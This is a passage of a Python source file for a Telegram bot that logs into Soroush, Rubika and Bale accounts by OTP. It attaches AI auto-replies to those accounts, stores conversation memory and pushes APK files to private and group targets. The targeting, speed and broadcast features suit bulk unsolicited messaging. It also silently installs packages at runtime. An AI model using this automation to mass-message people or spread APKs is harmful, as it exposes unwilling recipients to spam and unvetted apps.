         ("📣 هدف‌گذاری PV و گروه", "tut:targets", "danger")],
        [("📰 تنظیم کانال AI", "tut:channel", "primary"),
         ("📦 ثبت APK", "tut:apk", "danger")],
        [("💳 خرید و فعال‌سازی", "tut:sub", "primary"),
         ("🖼 بنرها و پنل ادمین", "tut:banner", "danger")],
        [("⚙️ تنظیمات و پشتیبانی", "tut:settings", "success"),
         (t(lang, "btn.home"), "menu", "primary")],
    ])

tutorial_menu = tutorial_menu_v5


# ─── FIX 14: Log confirmation of state restoration ───
try:
    log.info(f"PATCH v5 loaded | State values: {len(list(State))} | "
             f"AI_SELECT_ACCOUNT: {State.AI_SELECT_ACCOUNT.value} | "
             f"ADD_ACC_PHONE: {State.ADD_ACC_PHONE.value}")
except Exception as _e:
    log.warning(f"PATCH v5 state check failed: {_e}")

# ═══════════════════════════════════════════════════════════════════
#  RUN (moved to end of file on purpose — must start AFTER every patch
#  block, v2, v3 and v5, has been defined)
# ═══════════════════════════════════════════════════════════════════

# ═══════════════════════════════════════════════════════════════════
#  TRX FINAL PATCH v6 — deep runtime repair / AI live engine / banners / i18n
#  IMPORTANT: appended only. No previous source line is removed or replaced.
# ═══════════════════════════════════════════════════════════════════

# ---------- Unicode English small-caps font inspired by the requested style ----------
_TRX_SMALLCAPS = str.maketrans({
    "a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ꜰ","g":"ɢ",
    "h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ",
    "o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"ꜱ","t":"ᴛ","u":"ᴜ",
    "v":"ᴠ","w":"ᴡ","x":"ˣ","y":"ʏ","z":"ᴢ",
    "A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ꜰ","G":"ɢ",
    "H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ",
    "O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"ꜱ","T":"ᴛ","U":"ᴜ",
    "V":"ᴠ","W":"ᴡ","X":"ˣ","Y":"ʏ","Z":"ᴢ",
})


def trx_sc(value: Any) -> str:
    return str(value or "").translate(_TRX_SMALLCAPS)


# A compact set of decorative symbols from the requested style source.
TRX_DECOR = "๑۩۞۩๑ ✦ ✧ ✪ ✿ ❁ ❖ ⚜ ♛ ♕ ★ ☆ ♬ ♪ ☯ ☮ ☺ ☼ ☁ ☂ ☑ ✓ ✔ ❥ ❦ ❧ ⊰ ⊱ ◈ ◆ ◇"


LANG_EN = {
    "welcome": "🦖 **Welcome to TRX**\n\n"
               "> Professional multi-messenger management + AI automation\n\n"
               f"{TRX_DECOR}\n"
               "🔵 **Supported:** Soroush Plus • Rubika • Bale\n"
               "🟢 **AI:** live account replies • memory • product knowledge • scheduled posts\n\n"
               "Select a section below:",
    "menu.title": "🏠 **TRX Dashboard**\n\nSelect a section below:",
    "menu.dashboard": "🏠 Dashboard",
    "menu.profile": "👤 Profile",
    "menu.accounts": "📱 Accounts",
    "menu.ai": "🤖 AI",
    "menu.apk": "📦 APK",
    "menu.reports": "📊 Reports",
    "menu.sub": "💳 Subscription",
    "menu.tutorial": "📚 Tutorial",
    "menu.settings": "⚙️ Settings",
    "menu.admin": "🛡 Admin",
    "btn.back": "⬅️ Back",
    "btn.home": "🏠 Home",
    "btn.cancel": "❌ Cancel",
    "btn.confirm": "✅ Confirm",
    "lang.changed": "✅ Language changed to English.",
    "cancelled": "❌ Operation cancelled.",
    "error": "⚠️ Something went wrong. Check the log for details.",
    "no_access": "⛔️ Access denied.",
    "acct.add": "➕ Add account",
    "acct.list": "📋 Accounts",
    "acct.phone": "📱 Send the phone number with country code, e.g. +98912xxxxxxx",
    "acct.otp": "🔐 Enter the verification code you received:",
    "acct.otp_sent": "📨 Verification request created. Enter the new code when it arrives.",
    "acct.added": "✅ Account added successfully.",
    "acct.failed": "❌ Account login failed.",
    "apk.hint": "📦 Send the APK to Saved Messages and reply to it with /id.",
    "ai": "🤖 AI",
}


# Wrap the original translation table instead of deleting it.
_TRX_OLD_T = t

def t(lang, key):
    if str(lang or "fa").lower().startswith("en") and key in LANG_EN:
        return trx_sc(LANG_EN[key])
    return _TRX_OLD_T(lang, key)


# ---------- Final State enum: retain every legacy state and add v6 AI workflow states ----------
class State(str, Enum):
    NONE              = "none"
    ADD_ACC_PHONE     = "add_acc_phone"
    ADD_ACC_OTP       = "add_acc_otp"
    ADD_ACC_2FA       = "add_acc_2fa"
    ADD_APK           = "add_apk"
    ADD_PROVIDER_NAME = "add_prov_name"
    ADD_PROVIDER_KEY  = "add_prov_key"
    ADD_PROVIDER_URL  = "add_prov_url"
    EDIT_KB           = "edit_kb"
    BROADCAST         = "broadcast"
    ADD_BANNER_SLOT   = "add_banner_slot"
    ADD_BANNER_IMAGE  = "add_banner_image"
    ADD_FORCE_CHANNEL = "add_force_channel"
    ADD_SUB_USER      = "add_sub_user"
    ADD_SUB_AMOUNT    = "add_sub_amount"
    AI_PV_TARGET      = "ai_pv_target"
    AI_PV_MESSAGE     = "ai_pv_message"
    AI_GROUP_LINK     = "ai_group_link"
    AI_GROUP_SPEED    = "ai_group_speed"
    AI_CHANNEL_NAME   = "ai_channel_name"
    AI_CHANNEL_DESC   = "ai_channel_desc"
    ADD_PRICING_PLAN  = "add_pricing_plan"
    AI_SELECT_ACCOUNT = "ai_select_account"
    AI_TASK_TARGET    = "ai_task_target"
    AI_TASK_INTERVAL  = "ai_task_interval"
    AI_TASK_APK       = "ai_task_apk"


# ---------- Safer dependency bootstrap: same interpreter + exact runtime diagnostics ----------
def _trx_import_or_install(import_name: str, pip_name: Optional[str] = None):
    pip_name = pip_name or import_name
    try:
        return __import__(import_name)
    except Exception as first_error:
        try:
            subprocess.check_call(
                [sys.executable, "-m", "pip", "install", "-U", pip_name],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
            )
            return __import__(import_name)
        except Exception as second_error:
            raise RuntimeError(
                f"{import_name} unavailable in interpreter {sys.executable}; "
                f"pip={getattr(__import__('pip'), '__version__', '?')}; "
                f"first={first_error}; second={second_error}"
            )


# ---------- Extra persistent AI tables ----------
def _trx_extra_migrate():
    if db is None:
        return
    try:
        db.execute("""CREATE TABLE IF NOT EXISTS ai_memory (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            account_id INTEGER NOT NULL,
            peer_key TEXT NOT NULL,
            role TEXT NOT NULL,
            text TEXT NOT NULL,
            created_at TEXT NOT NULL
        )""")
        db.execute("CREATE INDEX IF NOT EXISTS idx_ai_memory_peer ON ai_memory(user_id,account_id,peer_key,id)")
        db.execute("""CREATE TABLE IF NOT EXISTS ai_task_runs (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            task_id INTEGER NOT NULL,
            success INTEGER DEFAULT 1,
            detail TEXT DEFAULT '',
            created_at TEXT NOT NULL
        )""")
        # These columns are additive and therefore preserve old databases.
        for table, col, definition in [
            ("ai_tasks", "meta_json", "TEXT DEFAULT '{}'"),
            ("ai_tasks", "last_run", "TEXT"),
            ("ai_tasks", "run_count", "INTEGER DEFAULT 0"),
        ]:
            cols = {r["name"] for r in db.fetchall(f"PRAGMA table_info({table})")}
            if col not in cols:
                db.execute(f"ALTER TABLE {table} ADD COLUMN {col} {definition}")
    except Exception as e:
        log.warning(f"TRX v6 extra migration: {e}")


_TRX_OLD_MIGRATE = _migrate_runtime_schema

def _migrate_runtime_schema():
    _TRX_OLD_MIGRATE()
    _trx_extra_migrate()


# ---------- Persistent AI memory + common prompt builder ----------
def _trx_ai_get_prompt(uid: int) -> str:
    r = db.fetchone("SELECT value FROM settings WHERE key=?", (f"ai_prompt:{uid}",))
    return (r["value"] if r else "") or ""


def _trx_ai_get_kb(uid: int) -> str:
    r = db.fetchone("SELECT value FROM settings WHERE key=?", (f"kb:{uid}",))
    return (r["value"] if r else "") or ""


def _trx_ai_system(uid: int, account_id: int, mode: str = "reply", extra: str = "") -> str:
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    tone = TONE_PROMPT.get((u["tone"] if u else "friendly_ir") or "friendly_ir", "")
    kb = _trx_ai_get_kb(uid)[:6000]
    prompt = _trx_ai_get_prompt(uid)[:5000]
    return (
        SAFETY_POLICY + "\n"
        "You are the AI assistant operating through a connected messenger account. "
        "Never claim to be a human. Do not invent product features, prices, links or facts. "
        "Maintain conversation continuity and do not restart with an unnecessary greeting when memory exists. "
        "Apply the user's selected tone consistently in private chats, groups and owned channels.\n\n"
        f"MODE: {mode}\n"
        f"TONE: {tone}\n\n"
        f"PRODUCT KNOWLEDGE:\n{kb}\n\n"
        f"USER CAMPAIGN / BEHAVIOR PROMPT:\n{prompt}\n\n"
        f"ACCOUNT ID: {account_id}\n"
        f"EXTRA CONTEXT:\n{extra[:2000]}"
    )


def _trx_peer_key(event, fallback: str = "unknown") -> str:
    for attr in ("chat_id", "sender_id", "peer"):
        v = getattr(event, attr, None)
        if v is not None:
            return str(getattr(v, "id", v))[:200]
    return fallback


def _trx_memory_load(uid: int, aid: int, peer_key: str, limit: int = 10):
    if db is None:
        return []
    rows = db.fetchall(
        "SELECT role,text FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=? "
        "ORDER BY id DESC LIMIT ?", (uid, aid, peer_key, limit))
    return [{"role": r["role"], "content": r["text"]} for r in reversed(rows)]


def _trx_memory_save(uid: int, aid: int, peer_key: str, role: str, text_value: str):
    if db is None or not text_value:
        return
    try:
        db.execute(
            "INSERT INTO ai_memory(user_id,account_id,peer_key,role,text,created_at) VALUES(?,?,?,?,?,?)",
            (uid, aid, peer_key, role, str(text_value)[:4000], now()),
        )
        db.execute(
            "DELETE FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=? AND id NOT IN "
            "(SELECT id FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=? ORDER BY id DESC LIMIT 20)",
            (uid, aid, peer_key, uid, aid, peer_key),
        )
    except Exception as e:
        log.warning(f"AI memory save failed: {e}")


async def _trx_maybe_await(value):
    return await value if asyncio.iscoroutine(value) else value


# ---------- Live client registry ----------
_TRX_AI_HANDLER_KEYS = set()


async def _trx_connect_client(client):
    for name in ("connect", "start"):
        fn = getattr(client, name, None)
        if not fn:
            continue
        try:
            result = fn()
            if asyncio.iscoroutine(result):
                await result
            return True
        except TypeError:
            continue
    return True


async def _trx_restore_one_account(uid: int, aid: int):
    r = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
    if not r:
        return None
    svc = (r["service"] or "").lower()
    client = None
    if svc == "bale":
        from bale import BaleClient
        client = BaleClient(r["session"])
        await _trx_connect_client(client)
    elif svc == "soroush":
        # Prefer the StringSession form used by current SPlusthon releases.
        try:
            from splusthon import SoroushClient
            try:
                from splusthon.sessions import StringSession
                if r["session"]:
                    client = SoroushClient(StringSession(r["session"]))
                else:
                    client = SoroushClient(os.path.join(SESS_DIR, f"soroush_{uid}"))
            except Exception:
                client = SoroushClient(os.path.join(SESS_DIR, f"soroush_{uid}"))
            await _trx_connect_client(client)
        except Exception:
            from spluslib import SplusClient
            client = SplusClient(os.path.join(SESS_DIR, f"soroush_{uid}"))
            await _trx_connect_client(client)
    elif svc == "rubika":
        from rubpy import Client as RubpyClient
        data = json.loads(r["session"] or "{}")
        if not data.get("auth") or not data.get("key"):
            raise RuntimeError("Rubika account has no Auth/Key session")
        client = RubpyClient(
            os.path.join(SESS_DIR, f"rubika_{uid}"),
            auth=str(data["auth"]), private_key=data["key"],
            phone_number=r["phone"], platform="Android"
        )
        await _trx_connect_client(client)
    if client is None:
        return None
    ai_live_clients[(uid, aid)] = client
    active_clients[uid] = {
        "client": client, "service": svc, "phone": r["phone"],
        "connected": True, "account_id": aid,
        "token": r["session"] if svc == "bale" else None,
    }
    return client


async def _ensure_ai_client(uid: int, aid: int):
    client = ai_live_clients.get((uid, aid))
    if client is not None:
        return client
    try:
        client = await _trx_restore_one_account(uid, aid)
        if client is not None:
            _register_ai_handler(client, uid,
                                 db.fetchone("SELECT service FROM accounts WHERE id=?", (aid,))["service"], aid)
        return client
    except Exception as e:
        log.warning(f"AI client ensure failed #{aid}: {e}")
        return None


# ---------- Provider / API wizard ----------
async def _trx_provider_finalize(uid: int, name: str, key_value: str, url_value: str):
    url = (url_value or "").strip()
    if url in {"", "-", "/skip"}:
        lname = name.lower()
        if "groq" in lname:
            url = "https://api.groq.com/openai/v1"
        elif "cerebras" in lname:
            url = "https://api.cerebras.ai/v1"
        elif "gapgpt" in lname:
            url = "https://api.gapgpt.app/v1"
        else:
            url = "https://api.openai.com/v1"
    url = re.sub(r"/+(chat/completions|responses)$", "", url).rstrip("/")
    low = url.lower()
    provider = "groq" if "groq" in low else "cerebras" if "cerebras" in low else "gapgpt" if "gapgpt" in low else "openai"
    if provider == "groq":
        model = "llama-3.3-70b-versatile"
    elif provider == "cerebras":
        model = "llama-3.3-70b"
    elif provider == "gapgpt":
        model = "gpt-4o-mini"
    else:
        model = "gpt-4o-mini"
    if db.fetchone("SELECT id FROM ai_providers WHERE name=?", (name,)):
        return False, "نام Provider از قبل وجود دارد."
    cur = db.execute(
        "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,created_at) "
        "VALUES(?,?,?,?,?,?,?,?)", (name, provider, url, model, key_value, 100, "unknown", now()))
    pid = cur.lastrowid
    ok, test_info = await ai.test(pid)
    if ok:
        return True, f"✅ Provider #{pid} ثبت و تست شد.\n\n{str(test_info)[:300]}"
    # Keep the provider for debugging, but clearly show why it is not working.
    db.execute("UPDATE ai_providers SET status='failed',last_error=? WHERE id=?", (str(test_info)[:1000], pid))
    return False, f"Provider ذخیره شد ولی تست ناموفق بود:\n{str(test_info)[:800]}\n\nمی‌توانی بعداً دوباره Test کنی."


# ---------- Product/campaign prompt ----------
async def _trx_campaign_save(uid: int, value: str):
    db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (f"ai_prompt:{uid}", value[:5000]))


# ---------- APK helper ----------
async def _trx_apk_rows(uid: int):
    return db.fetchall("SELECT * FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))


async def _trx_download_telegram_file(file_id: str, filename: str):
    try:
        meta = await bot.call("getFile", file_id=file_id)
        if not meta.get("ok"):
            raise RuntimeError(meta.get("description", "getFile failed"))
        remote = meta["result"]["file_path"]
        safe_name = re.sub(r"[^A-Za-z0-9._-]+", "_", filename or "app.apk")
        path = os.path.join(PROJECT_DIR, "apk_cache", safe_name)
        os.makedirs(os.path.dirname(path), exist_ok=True)
        url = f"https://api.telegram.org/file/bot{BOT_TOKEN}/{remote}"
        async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=180)) as sess:
            async with sess.get(url) as resp:
                if resp.status != 200:
                    raise RuntimeError(f"file download HTTP {resp.status}")
                with open(path, "wb") as f:
                    while True:
                        chunk = await resp.content.read(1024 * 1024)
                        if not chunk:
                            break
                        f.write(chunk)
        return path
    except Exception as e:
        log.warning(f"APK download failed: {e}")
        return None


async def _trx_send_file(client, target, path):
    for method_name in ("send_file", "send_document", "send_file_to"):
        fn = getattr(client, method_name, None)
        if not fn:
            continue
        for args, kwargs in [
            ((target, path), {}),
            ((target,), {"file": path}),
        ]:
            try:
                result = fn(*args, **kwargs)
                if asyncio.iscoroutine(result):
                    result = await result
                return True, result
            except TypeError:
                continue
            except Exception as e:
                log.warning("file upload via %s failed: %s", method_name, e)
    # rubpy supports document/file sending through send_message(file_inline=...).
    send = getattr(client, "send_message", None)
    if send:
        try:
            from pathlib import Path
            result = send(target, "", file_inline=Path(path), type="File")
            if asyncio.iscoroutine(result):
                result = await result
            return True, result
        except TypeError:
            try:
                from pathlib import Path
                result = send(target, "", file_inline=Path(path))
                if asyncio.iscoroutine(result):
                    result = await result
                return True, result
            except Exception as e:
                log.warning("rubpy file_inline upload failed: %s", e)
        except Exception as e:
            log.warning("rubpy file_inline upload failed: %s", e)
    return False, "client has no supported file upload method"


async def _trx_send_apk(uid: int, aid: int, target, apk_id: int):
    row = db.fetchone("SELECT * FROM apk_files WHERE id=? AND user_id=? AND enabled=1", (apk_id, uid))
    if not row:
        return False, "APK not found or disabled"
    path = await _trx_download_telegram_file(row["file_id"], row["file_name"])
    if not path:
        return False, "APK could not be downloaded from Telegram"
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, "AI account is not connected"
    ok, info = await _trx_send_file(client, target, path)
    return ok, info


# ---------- AI event adapter ----------
def _trx_extract_event_text(event):
    text_value = getattr(event, "raw_text", None) or getattr(event, "text", None)
    if text_value is None:
        message = getattr(event, "message", None)
        text_value = getattr(message, "text", None) or getattr(message, "raw_text", None)
    return str(text_value or "").strip()


def _trx_is_group_event(event):
    val = getattr(event, "is_group", None)
    if val is not None:
        return bool(val)
    private = getattr(event, "is_private", None)
    if private is not None:
        return not bool(private)
    return False


def _trx_is_private_event(event):
    val = getattr(event, "is_private", None)
    if val is not None:
        return bool(val)
    return not _trx_is_group_event(event)


def _trx_group_message_is_directed(event):
    for attr in ("mentioned", "is_reply", "reply_to", "reply_to_msg_id"):
        v = getattr(event, attr, None)
        if v:
            return True
    text_value = _trx_extract_event_text(event).lower()
    uids = []
    for attr in ("me", "sender", "chat"):
        obj = getattr(event, attr, None)
        if obj:
            username = getattr(obj, "username", None)
            if username:
                uids.append(str(username).lower().lstrip("@"))
    return bool(uids and any("@" + x in text_value for x in uids if x))


async def _trx_event_handler(event, uid: int, service: str, aid: int):
    try:
        binding = db.fetchone(
            "SELECT * FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, aid)
        )
        if not binding or getattr(event, "is_me", False) or getattr(event, "out", False):
            return
        is_private = _trx_is_private_event(event)
        is_group = _trx_is_group_event(event)
        if is_private and not binding["auto_reply_pv"]:
            return
        if is_group and (not binding["auto_reply_group"] or not _trx_group_message_is_directed(event)):
            return
        text_value = _trx_extract_event_text(event)
        if not text_value or text_value.startswith("/trx"):
            return
        if re.search(r"\b(fuck|scam|کص|کیر|خار)\b", text_value, re.I):
            return
        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        memory = _trx_memory_load(uid, aid, peer_key, 10)
        extra = "This is an ongoing conversation." if memory else "This is the first remembered turn."
        messages = [{"role": "system", "content": _trx_ai_system(uid, aid, "private_reply" if is_private else "group_reply", extra)}]
        messages.extend(memory)
        messages.append({"role": "user", "content": text_value[:2000]})
        reply = await ai.chat(
            messages, uid=uid, account_id=aid, action_type="auto_reply",
            temperature=0.6, max_tokens=500
        )
        if not reply:
            return
        sent = False
        if hasattr(event, "reply"):
            try:
                result = event.reply(reply)
                await _trx_maybe_await(result)
                sent = True
            except Exception:
                pass
        if not sent and hasattr(event, "respond"):
            try:
                result = event.respond(reply)
                await _trx_maybe_await(result)
                sent = True
            except Exception:
                pass
        if sent:
            _trx_memory_save(uid, aid, peer_key, "user", text_value)
            _trx_memory_save(uid, aid, peer_key, "assistant", reply)
            log_account_activity(aid, uid, "ai_reply", peer_key, 1)
    except Exception as e:
        log.error(f"AI live event {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")


def _trx_attach_handler(client, uid: int, service: str, aid: int):
    key = (uid, aid, id(client))
    if key in _TRX_AI_HANDLER_KEYS:
        return True
    async def handler(event):
        await _trx_event_handler(event, uid, service, aid)

    # SPlusthon / Bale expose events.NewMessage + client.on(...).
    try:
        if service in {"soroush", "bale"}:
            if service == "soroush":
                from splusthon import events as svc_events
            else:
                from bale import events as svc_events
            on = getattr(client, "on", None)
            if on:
                decorator = on(svc_events.NewMessage)
                decorator(handler)
                _TRX_AI_HANDLER_KEYS.add(key)
                return True
    except Exception as e:
        log.warning(f"AI {service} event registration primary failed: {e}")

    # Generic adapter for Rubpy/older compatible clients.
    try:
        add = getattr(client, "add_event_handler", None)
        if add:
            try:
                result = add(handler)
                if asyncio.iscoroutine(result):
                    # Do not leak an un-awaited coroutine into this synchronous registration path.
                    try:
                        loop = asyncio.get_running_loop()
                        loop.create_task(result)
                    except Exception:
                        pass
                _TRX_AI_HANDLER_KEYS.add(key)
                return True
            except TypeError:
                pass
        # Current Rubpy exposes on_message_updates(filters) as the primary user update decorator.
        on_updates = getattr(client, "on_message_updates", None)
        if on_updates:
            try:
                decorator = on_updates()
                decorator(handler)
                _TRX_AI_HANDLER_KEYS.add(key)
                return True
            except TypeError:
                try:
                    decorator = on_updates(None)
                    decorator(handler)
                    _TRX_AI_HANDLER_KEYS.add(key)
                    return True
                except Exception:
                    pass
        on_message = getattr(client, "on_message", None)
        if on_message:
            try:
                decorator = on_message()
                decorator(handler)
                _TRX_AI_HANDLER_KEYS.add(key)
                return True
            except TypeError:
                try:
                    result = on_message(handler)
                    if callable(result):
                        try:
                            result(handler)
                        except TypeError:
                            pass
                    _TRX_AI_HANDLER_KEYS.add(key)
                    return True
                except Exception:
                    pass
        on = getattr(client, "on", None)
        if on:
            try:
                decorator = on(handler)
                if callable(decorator):
                    decorator(handler)
                _TRX_AI_HANDLER_KEYS.add(key)
                return True
            except Exception:
                pass
    except Exception as e:
        log.warning(f"AI {service} event registration fallback failed: {e}")
    return False


# Make the project use the robust adapter while retaining the original function body above.
_TRX_OLD_REGISTER_AI_HANDLER = _register_ai_handler

def _register_ai_handler(client, uid: int, service: str, account_id: Optional[int] = None):
    aid = account_id or _account_id_for(uid, service)
    if not aid or not client:
        return False
    ok = _trx_attach_handler(client, uid, service, aid)
    if ok:
        try:
            db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?", (now(), aid))
        except Exception:
            pass
    return ok


# Override restore routine so AI bindings survive process restarts.
async def _restore_ai_live_clients():
    try:
        rows = db.fetchall(
            "SELECT b.user_id,b.account_id,a.service FROM ai_bindings b JOIN accounts a ON a.id=b.account_id "
            "WHERE b.enabled=1 AND a.enabled=1 ORDER BY b.id"
        )
    except Exception as e:
        log.warning(f"AI restore query failed: {e}")
        return
    for r in rows:
        try:
            client = await _trx_restore_one_account(r["user_id"], r["account_id"])
            if client:
                _register_ai_handler(client, r["user_id"], r["service"], r["account_id"])
                log.info(f"AI account restored: {r['service']} #{r['account_id']} uid={r['user_id']}")
        except Exception as e:
            log.warning(f"AI account restore failed {r['service']} #{r['account_id']}: {e}")


# ---------- Rubika OTP: correct interpreter, remember the platform used for the hash ----------
async def rubika_send_code_v6(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is None:
            raise RuntimeError(f"rulog imported from {getattr(mod, '__file__', '?')} but Client is missing")
    except Exception as e:
        return False, (
            "❌ rulog برای همین Python قابل import نیست.\n"
            f"Interpreter: {sys.executable}\n"
            f"Import error: {_mask(str(e))}\n"
            "در همین محیط اجرا نصب شود: python -m pip install -U rulog"
        )
    number = _trx_phone_98digits(phone)
    rc = RulogClient()
    errors = []
    # Keep platform together with the hash; the same platform must be passed to signIn.
    for platform, kwargs in (("android", {"send_type": True}), ("web", {})):
        try:
            sent = await asyncio.to_thread(rc.sendCode, platform, number, **kwargs)
            if isinstance(sent, dict) and sent.get("status") == "OK":
                data = sent.get("data") or {}
                ph = data.get("phone_code_hash") or data.get("phoneCodeHash")
                if not ph:
                    raise RuntimeError("Rubika returned OK without phone_code_hash")
                active_clients[uid] = {
                    "client": None, "rulog": rc, "service": "rubika", "phone": number,
                    "phone_input": phone, "hash": ph, "otp_platform": platform,
                    "created_at": time.time(), "connected": False,
                }
                log.info(f"[{uid}] Rubika OTP created via {platform}")
                return True, sent
            errors.append(f"{platform}: {str(sent)[:400]}")
        except Exception as e:
            errors.append(f"{platform}: {e}")
    return False, "ارسال کد روبیکا ناموفق بود:\n" + "\n".join(errors)[-1200:]


async def rubika_verify_v6(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "rubika" or not info.get("rulog"):
        return False, "نشست OTP روبیکا پیدا نشد؛ شماره را دوباره وارد کنید."
    platform = info.get("otp_platform") or "android"
    try:
        result = await asyncio.to_thread(
            info["rulog"].signIn, platform, info["phone"], info.get("hash"), str(code).strip()
        )
        if not isinstance(result, dict):
            return False, f"پاسخ ورود روبیکا نامعتبر بود: {result}"
        data = result.get("data") or result
        auth = result.get("Auth") or result.get("auth") or data.get("Auth") or data.get("auth")
        key = result.get("Key") or result.get("key") or data.get("Key") or data.get("key")
        if not auth or not key:
            return False, f"ورود روبیکا کامل نشد: {str(result)[:1200]}"
        try:
            await asyncio.to_thread(info["rulog"].register, platform=platform, auths=auth, keys=key)
        except Exception as e:
            log.warning(f"Rubika register {platform}: {e}")
        from rubpy import Client as RubpyClient
        client = RubpyClient(
            os.path.join(SESS_DIR, f"rubika_{uid}"), auth=str(auth), private_key=key,
            phone_number=info["phone"], platform="Android"
        )
        await _trx_connect_client(client)
        get_me = getattr(client, "get_me", None)
        me = await _trx_maybe_await(get_me()) if get_me else None
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "rubika", info["phone"], json.dumps({"auth": auth, "key": key}, ensure_ascii=False), "online", now())
        )
        aid = cur.lastrowid
        ai_live_clients[(uid, aid)] = client
        active_clients[uid].update({"client": client, "connected": True, "account_id": aid, "auth": auth, "key": key})
        if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, aid)):
            _register_ai_handler(client, uid, "rubika", aid)
        log_account_activity(aid, uid, "login", "rubika", 1)
        log_event(uid, "ACCOUNT_ADDED", "rubika")
        return True, me or result
    except Exception as e:
        log.error(f"[{uid}] Rubika verify v6: {e}")
        return False, _mask(str(e))


SERVICE_HANDLERS["rubika"] = {"send": _wrap_otp_handler("rubika", rubika_send_code_v6), "verify": rubika_verify_v6}


# ---------- Soroush OTP: keep a single exact session and try number forms only when the first fails ----------
async def soroush_send_code_v6(uid: int, phone: str) -> Tuple[bool, Any]:
    local = _trx_phone_local(phone)
    intl = _trx_phone_intl(phone)
    session_path = os.path.join(SESS_DIR, f"soroush_{uid}")
    attempts = [(local, "local"), (intl, "international")]
    last_errors = []
    # Prefer SPlusthon because its current project documents the user/session/event model.
    try:
        from splusthon import SoroushClient
        for number, label in attempts:
            try:
                try:
                    from splusthon.sessions import StringSession
                    client = SoroushClient(StringSession())
                except Exception:
                    client = SoroushClient(session_path)
                await _trx_connect_client(client)
                sender = getattr(client, "send_code_request", None)
                if not sender:
                    raise RuntimeError("SPlusthon client has no send_code_request")
                sent = sender(number)
                sent = await _trx_maybe_await(sent)
                phone_hash = getattr(sent, "phone_code_hash", None)
                if isinstance(sent, dict):
                    phone_hash = phone_hash or sent.get("phone_code_hash")
                if not phone_hash:
                    raise RuntimeError(f"SPlusthon returned no phone_code_hash: {sent}")
                active_clients[uid] = {
                    "client": client, "service": "soroush", "phone": number,
                    "phone_input": phone, "hash": phone_hash, "backend": "splusthon",
                    "created_at": time.time(), "connected": False,
                }
                return True, sent
            except Exception as e:
                last_errors.append(f"SPlusthon/{label}: {e}")
    except Exception as e:
        last_errors.append(f"SPlusthon import: {e}")

    # Secondary compatibility path.
    try:
        from spluslib import SplusClient
        for number, label in attempts:
            try:
                client = SplusClient(session_path)
                await _trx_connect_client(client)
                sender = getattr(client, "send_code_request", None)
                if not sender:
                    raise RuntimeError("SplusLib client has no send_code_request")
                sent = sender(number)
                sent = await _trx_maybe_await(sent)
                phone_hash = getattr(sent, "phone_code_hash", None)
                if isinstance(sent, dict):
                    phone_hash = phone_hash or sent.get("phone_code_hash")
                if not phone_hash:
                    raise RuntimeError(f"SplusLib returned no phone_code_hash: {sent}")
                active_clients[uid] = {
                    "client": client, "service": "soroush", "phone": number,
                    "phone_input": phone, "hash": phone_hash, "backend": "spluslib",
                    "created_at": time.time(), "connected": False,
                }
                return True, sent
            except Exception as e:
                last_errors.append(f"SplusLib/{label}: {e}")
    except Exception as e:
        last_errors.append(f"SplusLib import: {e}")
    return False, "ارسال کد سروش واقعاً تأیید نشد:\n" + "\n".join(last_errors)[-1500:]


async def soroush_verify_v6(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "soroush" or not info.get("client"):
        return False, "نشست ورود سروش منقضی/مفقود شده؛ شماره را دوباره وارد کنید."
    client = info["client"]
    try:
        sign_in = getattr(client, "sign_in", None)
        if not sign_in:
            raise RuntimeError("Soroush client has no sign_in method")
        try:
            result = sign_in(phone=info["phone"], code=str(code).strip(), phone_code_hash=info.get("hash"))
        except TypeError:
            result = sign_in(info["phone"], str(code).strip(), info.get("hash"))
        result = await _trx_maybe_await(result)
        me_fn = getattr(client, "get_me", None)
        me = await _trx_maybe_await(me_fn()) if me_fn else None
        session_str = ""
        sess = getattr(client, "session", None)
        save = getattr(sess, "save", None) if sess is not None else None
        if save:
            session_str = await _trx_maybe_await(save())
        elif isinstance(sess, str):
            session_str = sess
        if not session_str:
            raise RuntimeError("Soroush login succeeded but session could not be saved")
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "soroush", info["phone"], str(session_str), "online", now())
        )
        aid = cur.lastrowid
        ai_live_clients[(uid, aid)] = client
        active_clients[uid].update({"connected": True, "account_id": aid})
        if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, aid)):
            _register_ai_handler(client, uid, "soroush", aid)
        log_account_activity(aid, uid, "login", "soroush", 1)
